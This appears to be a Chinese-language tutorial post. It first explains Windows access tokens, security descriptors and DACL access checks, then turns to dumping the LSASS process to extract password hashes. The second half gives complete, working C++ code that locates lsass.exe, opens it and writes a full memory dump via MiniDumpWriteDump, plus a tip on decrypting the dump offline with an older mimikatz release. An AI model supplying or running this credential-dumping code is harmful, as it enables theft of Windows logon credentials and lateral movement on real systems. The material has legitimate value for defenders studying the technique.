Access Token
是描述进程或线程的安全上下文的对象。其中包括进程或线程关联的用户账户的身份和权限。
Access Token
分为授权令牌(Delegation Token)、模拟令牌(Impersonation token)两种。
Access Token包含以下信息
Delegation Token: 用以交互式会话登陆(本地用户登陆、远程桌面等)
Impersonation Token: 用以非交互式登陆(net user、远程共享访问)
不同的用户登陆计算机后,都会生成一个Access Token,该token会在用户创建进程/线程时都会复制一份Access token
用于描述与该进程相关联的用户账户的安全上下文,默认情况下,当进程的线程与安全对象交互时,系统使用授权令牌
。此外,线程可以模拟客户帐户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有授权令牌
和模拟令牌
。当用户注销后系统会将授权令牌
转换为模拟令牌
,并在重启系统后清除。
安全对象是可以拥有安全描述符
的对象,所有命名的Windows对象都是安全对象。一些未命名的对象,例如进程
和线程
对象也可以拥有安全描述符。。对于大多数的安全对象来说,我们可以在创建对象的函数调用中指定对象的安全描述符
。
包含与安全对象关联的安全信息。安全描述符由SECURITY_DESCRIPTOR结构及其关联的安全信息组成。安全描述符可以包括以下安全信息:
访问控制列表(ACL)是访问控制条目(ACE)的列表。ACL中每个ACE都标示一个受托者,并为该受托者指定访问权限。安全对象的安全描述符可以包含两种类型的ACL:DACL
以及SACL
。
进程
试图访问安全对象时,系统会检查对象的 DACL 中的 ACE,以确定是否授予对它的访问权限。如果对象没有 DACL,系统会授予每个人Full Access
权限。如果对象的 DACL 没有 ACE,系统将拒绝所有访问该对象的尝试,因为 DACL 中没有可以通过匹配的ACE条目。系统按顺序检查 ACE,直到它找到一个或多个允许所有请求的访问权限的 ACE,或者直到任何一个请求的访问权限被拒绝。 受托人是应用访问控制条目(ACE)的用户账户、组账户或者登陆会话。访问控制列表(ACL)中的每个ACE都有一个标示受托人的安全描述符(SID)。
根据前置知识,我们可以得到用户登陆系统后创建进程、线程,程序访问安全对象时的权限会是怎么样的了。
当用户登陆计算机,凭证验证通过后便会拿到一份访问令牌(Access Token),该Token在我们创建进程或线程时会被使用,拷贝explorer.exe中的该用户的访问令牌到新的进程/线程当中用以权限分配。
当程序访问安全对象时,安全对象会检测自身的DACL
,若DACL不存在,则对所有程序开放访问权限;若DACL存在,会按顺序查找DACL内的ACL与程序的访问令牌比较判断,判断其是否具有访问权限。
BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
函数结构如上所示,可利用此函数将进程转储,本文将Lsass.exe转储用以提取Hash。
#include<iostream>
#include<Windows.h>
#include<TlHelp32.h>
#include<DbgHelp.h>
#include<tchar.h>
#pragma comment(lib,"DbgHelp.lib")
int main() {
HANDLE LsassHandle = NULL;
HANDLE OutFile = CreateFile(L"LSASS.DMP",GENERIC_WRITE|GENERIC_READ,0,NULL,CREATE_ALWAYS,NULL,NULL);
DWORD PID;
HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 Entry;
Entry.dwSize = sizeof(PROCESSENTRY32);
LPWSTR ProcessName;
//查找lsass进程pid
if (Process32First(Snapshot, &Entry)) {
ProcessName = Entry.szExeFile;
PID = Entry.th32ProcessID;
while (_wcsicmp(L"lsass.exe",ProcessName)!=0) {
Process32Next(Snapshot, &Entry);
ProcessName = Entry.szExeFile;
PID = Entry.th32ProcessID;
}
std::cout << "lsass,exe pid is :" << PID << std::endl;
}
else {
std::cout << "snapshot error" << std::endl;
return -1;
}
//拿到lsass进程句柄
LsassHandle = OpenProcess(
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,
false,
PID
);
//利用MiniDumpWriteDump 转储lsass
BOOL status = MiniDumpWriteDump(LsassHandle, PID, OutFile,MiniDumpWithFullMemory,NULL,NULL,NULL);
if (status)
std::cout << "process dumping succeeded!" << std::endl;
else
{
std::cout << GetLastError() << std::endl;
}
return 0;
}
效果展示,另外,若在解密文件时出现ERROR kuhl_m_sekurlsa_acquireLSA ; Key import
,可尝试低版本mimikatz离线解密。 如2.1.1版本。